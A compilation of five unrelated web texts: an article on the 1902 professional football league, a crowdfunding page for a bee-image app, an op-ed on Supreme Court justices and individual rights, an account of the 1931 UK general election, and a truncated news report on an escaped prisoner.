to see them fail in short fashion) may have secretly owned the team, a statement both vehemently denied. The first league had no bylaws, no offices and no schedule-making powers. Having three of the top professional football teams in country helped make up for those shortfalls.[4]  These three teams are all that made up the 1902 NFL. Due to the animosity that existed between Philadelphia's Shibe and Rogers, Dave Berry was picked to the league's president. Attempts were initially made to expand the league outside of Pennsylvania into other major cities like Chicago and New York City. Investors in neither city were interested in joining the league at the time.  1902 season [ edit ]  With all the baseball involvement, training did not get underway for the football teams until September 29, 1902, with the season was scheduled to open a week later on October 4. However, most of the players were already in shape. Besides the baseball players, many of the others had jobs that kept them in good condition. For example, Pittsburgh halfback, Artie Miller, came in after a summer's lumberjacking in the Wisconsin woods. To make the preseason even less stressful, the average football team in 1902 only used about a half-dozen plays and they were all standard.  The Philadelphia Athletics of the 1902 National Football League  The league played all of its games on Saturdays, since there were no Sunday sports events according to Pennsylvania blue laws in 1902. The Pittsburgh team played all of its home games at the North Shore Coliseum, while the two Philadelphia teams used their own respective baseball stadiums, Columbia Park and the Baker Bowl, for home games. Each team played two games against each of other two teams. When they were not playing each other, the teams played various teams from colleges and athletic clubs from Pennsylvania and southern New York state.  On Thanksgiving Day 1902, Berry billed a game between the Stars and the Athletics as being for the championship of the National Football League. The Athletics had split on the season with the Phillies, as had Pittsburgh. Although a Philadelphia victory on Thanksgiving would give the A's the championship hands down, a win by the Stars could tie the league race tighter. Mack readied his A's for the big game by playing an exhibition tour through northern Pennsylvania and southern New York. In Elmira, New York the Athletics joined in the first night game in pro football history.[1] Lights were set up along the sidelines and giant searchlights glared from behind the goal posts. The A's won the game 39–0 over the Kanaweola Athletic Club.  1902 championship first attempt [ edit ]  When Mack agreed to Berry's championship game, he was promised $2,000 for his team's participation. However, when he arrived in Pittsburgh, he saw that the stands were pretty much empty and since his $2,000 came from the ticket sales at the gate, it looked as if he wouldn't be getting his $2,000 and his team would be stranded, with no money, in Pittsburgh. Therefore, seeing no reason to take the field, Mack refused to play until his team was paid their promised share of the gate, $2,000. It looked as if the game would not be played. However Mack received a check for $2,000 from William Corey, the head of Carnegie Steel, who impatiently wanted to see the game, and the game soon began. Corey got his money's worth, if he liked evenly matched games. Both teams played at their best to a scoreless tie. It was a fair verdict, but Berry's "championship game" hadn't decided anything.  1902 championship [ edit ]  Another championship game was soon planned between Berry and Mack. Because of a lack of funds Berry almost ended up cancelling the game. However, he later promised to his players they would all share equally in Saturday's game, which was sure to be a sell-out. After some complaints were addressed, everything was set. The crowd was a little better on Saturday, but not much. About 2,000 fans showed up, and the players knew before the game began that they were going to come up short at pay time. The game looked like it might once again end in a tie. However a late touchdown by Ellis and another by Artie Miller led Pittsburgh to an 11–0 win over the Athletics.  Afterwards [ edit ]  Not many fans noticed the championship win. The Pittsburgh players were too busy suing Temple for their Thanksgiving Day money to do much gloating over their victory, and the story disappeared from the newspapers before the suit was settled. Most of the players tried it again with Franklin or Canton or Massillon in the next few years. The Philadelphia Athletics went home and beat the Phillies to wrap up second place. It was a nice win and gave them the city championship, but that was all that it was; the season was won by Pittsburgh the week before.  Meanwhile, several members of the Athletics and the Phillies went on to play in the first World Series of Pro football on a team erroneously named "New York" at Madison Square Garden (the "error" was deliberate as the tournament's founder felt that the combined team was the best in the event, and bestowed upon them home field advantage for the tournament). New York and Syracuse AC played in the first indoor football game in front of 3,000 spectators, on December 28, 1902. Syracuse, with Glenn Scobey "Pop" Warner at offensive guard, won the game 6–0 and went on to win the tournament.[1]  The league quietly folded, and the war between the baseball leagues was resolved the next spring. While the NFL thrived in Philadelphia, it never took hold in Pittsburgh, where professional football had already had its moment in the spotlight come and go over the previous decade. Public relations errors by Berry resulted in a lukewarm reaction to the franchise. Many Pittsburghers followed their local athletic clubs and colleges more than the Stars. In fact the Washington and Jefferson Presidents football team had a much greater following than the Stars. Professional ice hockey would become the sport of the moment in the early to mid-1900s (decade) as the Western Pennsylvania Hockey League began hiring professional players.  The league had been slightly ahead of its time; it would not be until 1920 that the idea for a true "National Football League" would come to be accepted.  Controversy [ edit ]  With the win, A's players decided to call the Stars game an exhibition, and declared themselves the champs. However, the team had agreed to that season-ending championship game against Pittsburgh the Saturday after Thanksgiving, and they had lost it. This was recognized by all parties at the time as the championship game. Each team carried a record of 2–2 for league play. Pittsburgh had by far the better point ratio, scoring 39 points to their opponents' 22. Both the Athletics and the Phillies gave up more points than they scored in their league games. Finally Dave Berry used his power as league president and named his Stars the 1902 champions.  Final standings [ edit ]  Team Games Wins Losses Ties Pts For Pts Against % Pittsburgh Stars 6 3 2 1 39 22 .600 Philadelphia Athletics 6 3 2 1 34 44 .600 Philadelphia Phillies 6 3 3 0 41 34 .500  1917 restart attempt [ edit ]  In 1917, an unnamed representative from a professional football club in Detroit attempted to start a professional football league, based on the model of the 1902 NFL. The plan called for the league to be backed by Major League Baseball, with the teams to be based in Chicago, New York City, Detroit, Pittsburgh, Indianapolis, Cleveland and Columbus, Ohio. Several of these metropolitan areas and cities had existing professional clubs in the Ohio League and various other "major regional" leagues of the era, such as the Detroit Heralds, Columbus Panhandles, and the McKeesport Olympics (in the Pittsburgh metro area). Cleveland, though it did not have an Ohio League team at the time, was not very far away from the Northeast Ohio trifecta of dominant pro football teams: the Canton Bulldogs, Akron Pros and Massillon Tigers. Philadelphia also had a strong semi-pro football circuit, which included (among other teams) the Union Club of Phoenixville, 30 miles northeast of Philadelphia.  Under the proposal, teams would then begin play immediately after baseball season concluded and continue as long "as the weather is favorable." To build name recognition, it was determined that those baseball players with sufficient football skill would be featured on league rosters with the remaining slots filled by ex-college football players. The games would be played in the baseball parks such as Forbes Field, Comiskey Park, the Polo Grounds and Navin Field.  The unnamed agent pitched the idea to Frank Navin, the owner of Detroit Tigers, and Charles Comiskey, the owner of the Chicago White Sox. Comiskey told reporters, "If pro football can be made to pay it will be an answer to a problem that has confronted baseball owners since the game started. For years we have been going along using our ballparks three months in a year, only to see the property lie idle the other nine months." He then stated that he would take the upcoming week to think over the proposal.  The story was only closely examined by only two national newspapers, the Philadelphia Inquirer and Los Angeles Times. On January 4, 1917, an editorial in the Inquirer declared the idea "no good in Philadelphia" and supported their conclusion by citing a similar idea of fifteen years earlier, which was "long remembered as a failure". The commentary ended with a statement that college football was too big and would always draw a bigger crowd than the pro game. Meanwhile, the Los Angeles Times featured two articles on the pros and cons of a professional football league. Times columnist Harry A. Williams supported the idea of a league. However, he felt that the league would have a better chance by teaming up with teams associated with the Pacific Coast League instead of major league baseball, due to the warmer weather. The opposing opinion was given by Warren Bovard, the manager of the University of Southern California football team, who stated that football was tailored for colleges and not professional play. He then stated that pro football would have to rely on all-star games, which draw well at first, but fail to hold any long-term interest.  However, after Bovard's article, all mention of the new league disappeared from the papers. Comiskey's decision to take part in organizing a new professional football league based on the 1902 NFL was never made public. All interest in the story died by April 1917, when the country entered into World War I. At war's end, a flu pandemic swept the world, and virtually all of the professional football teams in the country shut down or drastically scaled back operations.[6] The modern National Football League, formed as a confederation of the existing professional football clubs and with no baseball backing, was established three years later in 1920.  Notes [ edit ]
-About  Introduction  1000 Bees is an App that showcases and celebrates the diversity of bees across the globe.  1000 beautiful, high-resolution images of individual bees have been taken from some of the most acclaimed museum and research collections in the world, including the Natural History Museum, London, the Hope Entomological Collection at Oxford University, and the Linnean Society of London.  We are also drawing data about the species from Discoverlife.org and additional images from USGS Bee Inventory and Monitoring Lab.  Although often used by scientists, many of these specimens have rarely been seen by the general public. 1000 Bees takes these specimens out of their cabinets and puts them on display, making them available for anyone to discover, view and explore on an iOS device.  A beautiful collection of bees, on your phone or tablet  1000 Bees will be freely available to download as an app for anyone with an iPad or iPhone.  The app has a very special interface and a number of nifty features that we're excited to announce:  View the entire collection in two unique ways  You can view the collection either one bee at a time, or as a succession of images that transform the collection into an animated film! Drawing inspiration from experimental film techniques, Callum will create a ‘director’s cut’ of the collection that animates these 1000 species and brings these bees to 'life'.  Create your own film to view and enjoy.  1000 Bees lets you generate your own film by applying a range of filters to the collection. You can sort and sequence the collection by scientific name, size, colour, nesting behaviours, geographic distribution, level of ecological threat and more to generate a film that you can view and enjoy. Can you see any patterns?  Explore every bee, up close.  Every single bee featured in this app has been photographed under a microscope using a special technique called 'photo montaging'. This technique allows a scientist to stitch together several images of the same bee- allowing for an up-close, macro photograph that retains all the detail of the bee.  1000 Bees will present each specimen beautifully: every bee will be shown in high resolution with exploration as simple as a pinch zoom.  Discover the stories behind individual bee species.  You'll be able to access information on every single bee species featured in the app, including its scientific name, classification and geographic distribution. In addition, our Science Consultant and Writer, Chris O'Toole will writing about 50 of the most fascinating and important bee species, sharing the stories behind some of these most intriguing bees with us.  About the team  About us: Ana Tiquia and Callum Cooper  Watch a short film on why we feel this project is so important.  We're a producer and artist/ director team. We have been working on 1000 Bees for the past two years; a project that was born out of the desire to create an interactive project that looked at bees and biodiversity.  Ana is a creative producer and has a wealth of experience producing digital projects: from large scale interactive exhibitions to award-winning apps.  Callum is an experienced moving image artist and film director, his projects have screened at film festivals such as Sundance and his work has been exhibited at institutions such as MOMA, NYC.  Meet Sennep, our Developers  Meet Chris O'Toole, our Science Consultant & Writer  Visit the collection at the Natural History Museum, London  We need your help!  With your help, we can develop this project and make it freely available for anyone to download around the world.  We've been granted access to some of the largest and most acclaimed collections of bees in the world and we've completed an initial design for the project.  All we need now is to raise funds so that we can develop the project for iOS devices, and to bring our developers, designers and science consultant on board to work with us.  Funding is needed for the following costs:  Rewards  For a pledge of £2, you'll receive first notice of when 1000 Bees launches on the App Store so you can download it immediately.  For £10 we have a range of exclusive, bee-inspired original artworks from a range of artists, available as digital wallpapers for your iPad, iPhone or computer desktop... as well as be notification to download the moment the app launches on the App store.  Pledge £15 and receive a bundle of all our artist digital wallpapers! as well as well as notification to download.  Artworks have been contributed by: Jean Jullien, Mikey Please, Jonny Wan, Harriet Russell, Sophie Illustrates, Éric Tourneret, Marc Martin  Illustration by Marc Martin inspired by Thyreus lugubris, our 'Domino Cloak & Dagger Bee'  Illustration from Sophie Illustrates, inspired by Melissodes (Heliomelissodes) desponsa, who specialize on the pollen of thistle flowers.  Photos by Éric Tourneret. Laptop shows a Himalayan honey hunter in Nepal, harvesting honey from the giant honeycombs of the Himalayan Honeybee. iPad shows the Sacred Mayan Honeybee, Melipona beecheii  For a pledge of £25 you receive your name in the credits of the app! As well as all the artist wallpapers and first notification to download.  For £50 or more you can sponsor one of the bees featured in the app, and have your name credited as a sponsor alongside it, with up to 4 others.  PLUS you'll receive one of our fantastic Interactive Postcards!  For £100 or more you will become the sole sponsor of one of the bees in the app, and receive a credit alongside it.  PLUS you'll receive a beautiful, A2 full colour poster!  Below is one we framed, the images in this poster are courtesy of our partners at USGS Bee Inventory and Monitoring Lab they have used military camera technology to present some of the most compelling bee images.  A2 Poster with images courtesy of the USGS Bee Inventory and Monitoring Lab  We are making 36 individual, specially chosen bee species available for single backers of the project. We have four, tiered patronage packages available for sponsoring some of the rarest and most interesting individual bee species in 1000 Bees.  For £250 or more you receive our Amber Sponsorship Package. This includes every other reward available to smaller backers of the project PLUS: sole sponsorship of one of 18 of our ‘top 36 bees’ and a credit alongside this species in the app.  1. The Desert Bee  Image courtesy of the Natural History Museum, London  From the deserts of Sudan comes Megachile albescens, a solitary leafcutter bee. Like many bees from extreme desert habitats, it is covered in dense, pale hairs.  2. The Eastern Honeybee  Meet one of Asia's honeybee- indigenous to Southern and South-East Asia, and found in China, Pakistan, India, Korea, Japan, Malaysia, Nepal, Bangladesh, Papua New Guinea and the Solomon Islands!  3. The North African Longhorn bee  Image courtesy of the Natural History Museum, London  Found in North Africa, Eucera cintella are solitary mining bees, notable for the males’ long antennae. These bees are called long-horned bees due to their elongate antennae - females have antennae of a normal length. Much less is known about the antennae of bees other than honeybees, however length of antennae is almost certainly related to mate seeking  4. The First Bee of Spring  Image courtesy of the Natural History Museum, London  Andrena nigroaena is the early bird...(well, bee) of the bee family. One of the first bees to appear in Spring, Andrena nigroaenea females get in there first, gathering pollen from a wide range of spring and early summer flowers.  5. The Eeyore Bee  Image courtesy of the Natural History Museum, London  Like A.A. Milne’s character Eeyore, this bee is a lover of thistles. Melissodes (Heliomelissodes) desponsa are solitary mining bees, found throughout North America. The females specialise on the pollen of thistle species in the genus Cirsium.  6. Long-horned Indian Bee  Image courtesy of the Natural History Museum, London  This bee with exceptionally long antennae is the Tetralonia punjabensis, a solitary mining bee found only in India.  7. The Perfumed Bee  Image courtesy of the Natural History Museum, London  Solitary mining bee, Centris (Hemisella) nitida can be found across central and South America, and has recently been naturalised in Florida. Females collect oils from the flowers of 8 different species of the tropical Malpighiaceae flower.  8. The Mysterious Sub-Saharan Bee  Image courtesy of the Natural History Museum, London  Coelioxys torrida is a striking, mysterious cuckoo bee that can be found in Sub-Saharan Africa. Very little is know about this species or its host. The majority of of Coelioxys spp. are cuckoos in the nests of leafcutter bees, Megachile, with some parasitizing the nests of other bees in the Megachilidae and a few whose hosts are in the Apidae or the orchid bee genus Euglossa.  9. A Dwalf Indian Carpenter Bee  Image courtesy of the Natural History Museum, London  This dwarf carpenter bee, Ceratina demotica is found in India. Carpenter bees excavate their nests in plant structures; this little bee likes to nest in the dead, pithy stems of plants. Most species live in the tropics or warm temperate regions, and some species of Ceratina are sub-social, where the female remains within the nest and guards her developing offspring from parasites and predators such as spiders or earwigs.  10. The South American Giant  Image courtesy of the Natural History Museum, London  This South American giant is one of the 29 species of bee from the subgenus Schonnherria, some of the largest of all bees in the world. Xylocopa simillima is found in Peru, Boliva, Brazil and Argentina. A large carpenter bee, it excavates its nest in solid wood.  11. Giant Malay Carpenter Bee  Image courtesy of the Natural History Museum, London  This impressive specimen was collected by Alfred Russel Wallace on the island of Timor. The Xylocopa perforator belongs to the Mesotrichia- a subgenus of very large bee species found in Asia. The male of this species, pictured, has very large eyes, which nearly meet on the top of the head. This feature is often associated with males that are aggressively territorial as part of their mate seeking behavior.  12. The 212 Year-Old Leafcutter Bee!  Image courtesy of the Natural History Museum, London  One of the oldest bee specimens to be featured in 1000 Bees, this female Megachile willughbiella bee was collected at least 212 years ago!  Megachile willughbiella is a solitary leafcutter bee- it nests in pre-existing cavities such as beetle borings in dead wood or hollow plant stems, sealing its nest with cut pieces of leaf. This species is widespread and common in much of Europe, including the UK. It is also found in Canada and northern USA.  13. The Mysterious Cuckoo Bee  Image courtesy of the Natural History Museum, London  This mysterious bee is a cuckoo in the nests of oil-collecting solitary mining bees from the same genus as our 'Brazil Nut Bee', Epicharis conica (see below). Little is known about this exact species however, and the host species of Rathymus quadriplagiata remains unknown.  14. A Brazil Nut Bee  Image courtesy of the Natural History Museum, London  Females of this solitary mining bee collect oils from a range of plants which offer this reward to pollinators. Species of Epicharis and the related oil-collecting genus, Centris are, together with the orchid bees (See Euglossa and Eulaema) key components of the guild of pollinators which help maintain the tropical forests of Central and South America. Females of Epicharis conica also pollinate the economically important Brazil Nut, Bertholettia excelsa.  15. The Kickstarter Bee  Image courtesy of the Natural History Museum, London  We've nicknamed this bee the 'Kickstarter Bee' as Halictus farinosus are social mining bees that work together to get the job done, in an organised but non-hierarchal way!  Scientists describe these bees as being 'primitively eusocial', meaning that there is at least some overlap of generations sharing a nest, with some females behaving as egg-laying queens, others forming a worker caste, which is responsible for pollen and nectar-gathering and excavating brood cells. However, unlike highly eusocial species such as the honeybees, Apis spp., there are hardly any major differences in structure between queens and workers.  16. Daisy Dukes  Image courtesy of the Natural History Museum, London  The females of daisy-loving species Andrena simplex specialize in collecting the pollen of members of the daisy family (Asteraceae). Particular favourites include species of Aster and Solidago (Goldenrods). Andrena simplex can be found in the Eastern areas of the USA.  17. The Fast-Flyer  Image courtesy of the Natural History Museum, London  From Malawi comes this solitary mining bee. Found in Central and Southern Africa, Amegilla grandiceps is has a rapid rapid, darting flight, like all species of Amegilla. The species belongs to a group in which the adults are active from August through to May.  18. The V.I.Bee  Image courtesy of the Natural History Museum, London  Females of this little bee demand exclusive access to its favourite flowers and always wants to be first in, best served! Lasioglossum zephyrum have been observed forcing open unbloomed flowers of the endangered Tennessee yellow-eyed grass, Xyris tennesseensis to extract the pollen, to ensure first and exclusive access.  Be listed as one of the project patrons on the main page of the app! Mockup showing the title page for 1000 Bees  For £500 or more you receive our Silver Patron package. This includes every other reward available to smaller backers of the project PLUS: sponsorship of one of 10 of our ‘top 36 bees’, a special patron credit on the title screen of the app, and a limited edition poster.  19. Himalayan Cliff Hanger Bees  Image courtesy of the Natural History Museum, London  The Giant Himalayan Honeybee Apis labriosa is the largest honeybee in the world. Found in the high mountains of Nepal, Bhutan, India and China, Apis labriosa are greatly valued by the Gurung tribespeople of Nepal for their honey. Apis labriosa nest on steep, south-west facing cliffs, which makes harvesting of honey a difficult and often treacherous task.  20. South American Tunnelling Bee  Image courtesy of the Natural History Museum, London  Like the sponsor of this species, the stunning Oxaea festiva digs deep!  A solitary mining bee, females of the eight species of Oxaea nest in flat ground, and, according to species, excavate a deep vertical tunnel between 30-245cm deep. Horizontal tunnels radiate out from the end of the main shaft, each ending in a vertical cell lined with a waxy film.  21. The Domino Cloak and Dagger bee  Image courtesy of the Natural History Museum, London  This striking, domino patterned bee is a cuckoo bee which preys on the nests of Amegilla bombiformis, the Teddy Bear Bee. Like other cuckoo bees, Thyreus lugubris employs stealthy measures to raise its young. Females of this species lay their eggs in the nests of other bees. Typically, a female finds a host nest, waits until a Amegilla bombiformis female leaves, then lays an egg in the open cell.  The cuckoo larva eats the host’s egg and then feeds on the stored pollen-honey mixture. Because female cuckoo bees do not have to collect pollen, they have lost pollen transporting structures – pollen brush (scopa) or pollen basket (corbiculum).  22. Europe’s pickiest eater  Image courtesy of the Natural History Museum, London  Female Melitta tricincta bees specialise on the pollen of the Red Bartsia, a common plant throughout Europe. This solitary mining bee can be found as far east as Russia, however it is a rare bee, considered endangered in much of Europe. Melitta tricincta bees are picky eaters- the females collect pollen only from the Red Bartsia flower and both males and females visit the plant for nectar.  23. One of Our Oldest Bees: Gooden’s Nomad Bee  Image courtesy of the Natural History Museum, London  This specimen of Gooden’s Nomad Bee was described by early entomologist William Kirby in 1802. At least 212 years old, this is one of the oldest specimens featured in 1000 Bees. Reverend William Kirby (1759-1850) was an English country parson and naturalist and is considered the ‘British founder of entomology’.  24. A Saudi Arabian Bee  Image courtesy of the Natural History Museum, London  A new addition, Colletes guichardi is a very recently described species. Like all mining or digger bees, Colletes guichardi females excavate their nests in the ground. This bee is currently known only from Saudi Arabia.  25. The Big Emerald Australian Bee  Image courtesy of the Natural History Museum, London  Australia has lots of big things: the Big Mango, the Big Prawn, the Big Merino Sheep amongst others. Add this to its collection: the big, emerald bee: Ctenocolletes smaragdinus, found across Central and South-Western Australia. What a beauty!  26. The Japanese Apple Orchard Bee  Image courtesy of the Natural History Museum, London  Meet Osmia taurus, an important managed pollinator in Japanese apple orchards. Found throughout China and Japan, Osmia taurus are mason bees that use mud to construct the walls of their nests. This species has recently been introduced into North-Eastern US to be used as an orchard pollinator.  27. The Giant Madagascan Bee  Image courtesy of the Natural History Museum, London  One of the largest solitary mining bees in the world, Pachymelas (Pachymelas) micrelephas can only be found on the island of Madagascar. Females of this species have unusually long mandibles, the function of which still remains unknown to scientists.  28. The Lowrider  Image courtesy of the Natural History Museum, London  A nocturnal bee, Xylocopa lanata is found in the desert areas of the Middle East and Central Asian steppe-deserts. The pale-faced males, such as this one, cruise low over the nest sites at nighttime in search of females. This carpenter bee is an anomaly; unlike most carpenter bees who nest in solid wood, Xylocopa lanata prefers to nest in the ground.  For £1000 or more you receive our Gold Patron package. This includes every other reward available to smaller backers of the project PLUS: sole sponsorship of one of 5 of our ‘top 36 bees’, a special patron credit on the title screen of the app, a limited edition poster AND you can Beta test the app!  29. The Sacred Mayan Honeybee  Image courtesy of DiscoverLife/RicardoAyala  Worshipped and highly valued in Mayan culture, the stingless Mayan honeybee Melipona beecheii is now considered endangered. Found in Mexico and Central America, the Mayan honeybee also played another important role in American history: Melipona beecheii were the source of the honey given to Columbus by Native Americans when he landed in Hispaniola. Today Mayan honeybees are still kept in traditional log hives and used as a source of honey.  30. To Bee or Not to Queen Bee  Image courtesy of the Natural History Museum, London  This beautiful metallic sweat bee can be found from Tropical Mexico to Brazil and nests in rotting wood or pithy stems. Megalopta genalis bees are considered a ‘faculatively communal’ species. Female bees can either live as solitary, independent queens who go out to forage for their own food, or they can be social queens- “stay at home mums” whose daughters go out to forage for them, so that they rarely have to leave the nest.  31. The Leggiest Bee in the World  Image courtesy of the Natural History Museum, London  Females of the leggy Rediviva emdeorum species have the longest forelegs of any known bee species. Females of Rediviva emdeorum collect oil from the twin tubular spurs of flowers of Diascia tanyceras, using their elongated legs to probe the spurs of the plant’s flowers. Found across the winter rainfall areas of South Africa, Lesotho and Swaziland, Rediviva emdeorum and its habitat are both highly threatened by climate change.  32. The Optical Illusion Bee  Image courtesy of the Natural History Museum, London  This splendid, metallic, solitary mining bee can be found across Canada, USA and Northern Mexico. Some species in almost all bee families have metallic colouration. The metallic colours – blue, green, red, or gold, or combinations of these - are not the result of pigments in the cuticle. Instead, they are structural colours, caused by ultra-microscopic structuring in the cuticle. This scatters or refracts different wavelengths of light so that metallic colours of particular wavelengths are reflected.  33. The Teddy Bear Bee  Image courtesy of the Natural History Museum, London  This cuddly looking bee is commonly found in gardens in Australia. Amegilla bombiformis or Teddy Bear Bee, has been described as looking like “a furry golden ball hanging in the air” when in flight. A solitary mining bee, the species name bombiformis refers to its similarity in appearance to bumblebees (Bombus spp.), which are not native to Australia.  Receive one of three signed copies of Chris O'Toole's book when you become a major patron of 1000 Bees  For £3000 or more you receive our Platinum Patron package. This includes every other reward available to smaller backers of the project PLUS: sole sponsorship of one of 3 of our ‘top 36’ species, a major patron credit on the title screen of the app, limited edition poster, Beta testing of the app, a Skype call with the creators of the project, and a special signed copy of Chris O’Toole’s Book, Bees: A Natural History.  The Largest and Most Mysterious Bee  Image courtesy of the Hope Entomological Collections, Oxford University Museum of Natural History  Found in 1868 on the Indonesian island of Bachan by the great 19th Century naturalist, Alfred Russel Wallace, the gigantic Megachile (Chalicodoma) pluto is one of the largest known species of bee in the world. With a wingspan of 2.5 inches, a length of 1.53 inches and huge mandibles used to tap resin from trees, this is a truly formidable bee!  This is a truly unique specimen- This is the unique specimen that Frederick Smith used for his original description of the species published in 1869. Little was known about Wallace’s Giant Mason Bee until the 1980’s when American entomologist Adam Messer discovered a population on this and another Indonesian island, Halmahera.  2. Linnaeus’ Honeybee  Image courtesy of the Linnean Society of London  The Western Honeybee is our most iconic bee; the species most of us think of when we think of bees. As well as producing delicious honey, the Western Honeybee is used as a managed pollinator for many of Europe and North America’s agricultural crops.  This particular specimen is extremely special- it was collected by Carl Linneaus in 1758. Linneus was a Swedish botanist, zoologist, physicist and one of the most influential scientists in history. He is often referred to as the ‘father of taxonomy’.  3. The Orchid & Brazil Nut Bee  Image courtesy of the Natural History Museum, London  Meet Euglossa ignita, a very special species of bee. It’s described as an orchid bee as males of this species (as pictured above) collect perfumed oil from orchids, which they store in spongy tissue inside their highly modified hind legs. Females of some species of Euglossa, together with other large bees are pollinators of Brazil Nuts
-The Supreme Court’s decision in District of Columbia v. Heller, upholding the Second Amendment right of individuals to own firearms, should finally lay to rest the widespread myth that the defining difference between liberal and conservative justices is that the former support “individual rights” and “civil liberties,” while the latter routinely defer to government assertions of authority. The Heller dissent presents the remarkable spectacle of four liberal Supreme Court justices tying themselves into an intellectual knot to narrow the protections the Bill of Rights provides.  Or perhaps it’s not as remarkable as we’ve been led to think. Consider the Court’s First Amendment decisions. Contrary to popular belief, conservative justices are about as likely to vote in favor of individuals bringing First Amendment challenges to government regulations as are the liberals. Indeed, the justice most likely to vote to uphold a First Amendment claim is the “conservative” Justice Anthony Kennedy. The least likely is the “liberal” Justice Stephen Breyer. Consistent with general conservative/liberal patterns in commercial speech cases, Justices Clarence Thomas and Antonin Scalia have voted to invalidate restrictions on advertising more than 75 percent of the time. Justices Breyer and Ruth Bader Ginsburg, meanwhile, have voted to uphold such restrictions in most cases.  Conservative justices also typically vote to limit the government’s ability to regulate election-related speech, while liberal justices are willing to uphold virtually any regulation in the name of “campaign finance reform.” In Davis v. Federal Election Commission, decided the same day as Heller, Justice Samuel Alito, writing for the Court’s conservatives, reaffirmed the “fundamental nature of the right to spend personal funds for campaign speech.” The dissenters argued that “in the context of elections … limiting the quantity of speech” is perfectly acceptable.  Liberals have also been more willing than conservatives to limit the First Amendment’s protection of “expressive association.” The Court’s conservatives held that forcing the Boy Scouts of America to employ a gay scoutmaster violated the Scouts’ right to promote its belief in traditional sexual morality. The liberal dissenters thought the government should be allowed to force the Scouts to present a message inconsistent with the Scouts’ values.  The Fifth Amendment’s protection of property rights presents, if anything, an even starker example of greater commitment to individual rights by the conservative majority. In the infamous Kelo v. New London, the Court’s liberal justices, joined by Justice Kennedy, held that the government may take an individual’s property and turn it over to a private party for commercial use. The four conservative dissenters argued that such actions violate the Fifth Amendment’s requirement that government takings be for “public use.”  A few years earlier, the Court’s conservative majority held that a government regulation that deprives a land owner of any use of his property amounts to a “taking” that requires compensation. The liberal dissenters would have permitted the government to totally wipe out an individual’s investment without any redress.  And consider the issue of government use of racial classifications. Liberal justices have been willing to uphold virtually any use of race by the government—including quotas in higher education, set-asides for government contracts, and raced-based assignments of students to public schools—so long as the government claims benign motives. The conservatives, by contrast, argue that the government must treat people as individuals, not as members of a racial caste.  Other examples could be raised. The conservatives, for example, have been more sympathetic to free exercise of religion claims than the liberals, and more inclined to forbid government regulation of “hate speech.”  The point should be clear. There are many ideological differences between the conservative and liberal justices on the Supreme Court. But a consistent, stronger liberal devotion to supporting individual rights and civil liberties against assertions of government power isn’t one of them.
-The 1931 United Kingdom general election was held on Tuesday 27 October 1931 and saw a landslide election victory for the National Government which had been formed two months previously after the collapse of the second Labour government . Collectively, the parties forming the National Government won 67% of the votes and 554 seats out of 615. The bulk of the National Government's support came from the Conservative Party, and the Conservatives won 470 seats. The Labour Party suffered its greatest defeat, losing four out of five seats compared with the previous election. The Liberal Party, split into three factions, continued to shrink and the Liberal National faction never reunited. Ivor Bulmer-Thomas said the results "were the most astonishing in the history of the British party system". [1] It was the last election where one party (the Conservatives) received an absolute majority of the votes cast and the last UK general election not to take place on a Thursday , and would be the last election until 1997 in which a party won over 400 seats in the House of Commons.  After battling with the Great Depression for two years, Ramsay MacDonald's Labour government had been faced with a sudden budget crisis in August 1931. The cabinet deadlocked over its response, with several influential members such as Arthur Henderson unwilling to support the budget cuts (in particular a cut in the rate of unemployment benefit) which were pressed by the civil service and opposition parties. Then Chancellor of the Exchequer, Philip Snowden, refused to consider deficit spending or tariffs as alternative solutions.  When the government resigned, MacDonald was encouraged by King George V to form an all-party National Government to deal with the immediate crisis.  The initial hope that the government would hold office for a few weeks, and then dissolve to return to ordinary party politics, were frustrated when the government was forced to remove the pound sterling from the gold standard; meanwhile the Labour Party expelled all those who were supporting the government.  The Conservatives began pressing for the National Government to fight an election as a combined unit, and MacDonald's supporters from the Labour Party formed a National Labour Organisation to support him; MacDonald came to endorse an early election to take advantage of Labour's unpopularity. However the Liberals were sceptical about an election and had to be persuaded. Former Liberal leader David Lloyd George firmly opposed the decision to call an election and urged his colleagues to withdraw from the National Government.  A main issue was the Conservatives' wish to introduce protectionist trade policies. This issue not only divided the government from the opposition but also divided the parties in the National Government: the majority of Liberals, led by Sir Herbert Samuel, were opposed and supported free trade, but on the eve of the election a faction known as Liberal Nationals under the leadership of Sir John Simon was formed who were willing to support protectionist trade policies.  In order to preserve the Liberals within the National Government, the government itself did not endorse a policy but appealed for a "Doctor's Mandate" to do whatever was necessary to rescue the economy. Individual Conservative candidates supported protective tariffs.  Labour campaigned on opposition to public spending cuts, but found it difficult to defend the record of the party's former government and the fact that most of the cuts had been agreed before it fell.  Historian Andrew Thorpe argues that Labour lost credibility by 1931 as unemployment soared, especially in coal, textiles, shipbuilding and steel. The working class increasingly lost confidence in the ability of Labour to solve the most pressing problem.[2]  The 2.5 million Irish Catholics in England and Scotland were a major factor in the Labour base in many industrial areas. The Catholic Church had previously tolerated the Labour Party, and denied that it represented true socialism. However, the bishops by 1930 had grown increasingly alarmed at Labour's policies towards Communist Russia, towards birth control and especially towards funding Catholic schools. They warned its members. The Catholic shift against Labour and in favour of the National Government played a major role in Labour's losses.[3]  In the event, the Labour vote fell sharply, and the National Government won a landslide majority.  Although the overwhelming majority of the Government MPs were Conservatives under the leadership of Stanley Baldwin, MacDonald remained Prime Minister in the new National Government.  The Liberals lacked the funds to contest the full range of seats, but still won almost as many constituencies as the Labour Party.  There were more MPs (72) who were elected under a Liberal ticket of some description then there were the combined number of Labour and National Labour MPs (65), but the three-way split in the party meant that the main Labour group still ended up as the second-largest in Parliament.
-A DANGEROUS killer was still on the run last night after escaping from the custody of prison officers.  A DANGEROUS killer was still on the run last night after escaping from the custody of prison officers.  Manhunt under way for dangerous killer on the run  Gardai issued a nationwide alert after Christopher Doyle (39) disappeared during a visit to his seriously ill father in St James's Hospital in Dublin last Wednesday.  Doyle has a number of convictions for violent attacks on elderly people, including beating a Co Meath farmer to death in 2000.  He is serving prison sentences for dangerous driving causing bodily harm and a number of robberies.  Doyle, who is described as being extremely dangerous, gave prison warders the slip when he went to the toilet during the hospital visit and escaped through a window.  It was still unclear last night if he had planned the escape and whether he had an accomplice. Gardai have been talking to Doyle's family and friends in a bid to track him down.  Officers have also been studying CCTV to trace his movements when he left the hospital grounds.  It is understood that he had been granted compassionate temporary release to visit his father in the company of at least one prison officer.  Apart from the garda investigation, the Prison Service has also launched an internal inquiry to ascertain how Doyle made his escape. They will try to establish why he was not handcuffed at the time.  The violent thug, who has a reputation for attacking and robbing elderly people in their homes, was jailed in 2002 along with his brother for the manslaughter of pensioner Paddy Logan.  Christopher and John Doyle demanded money and 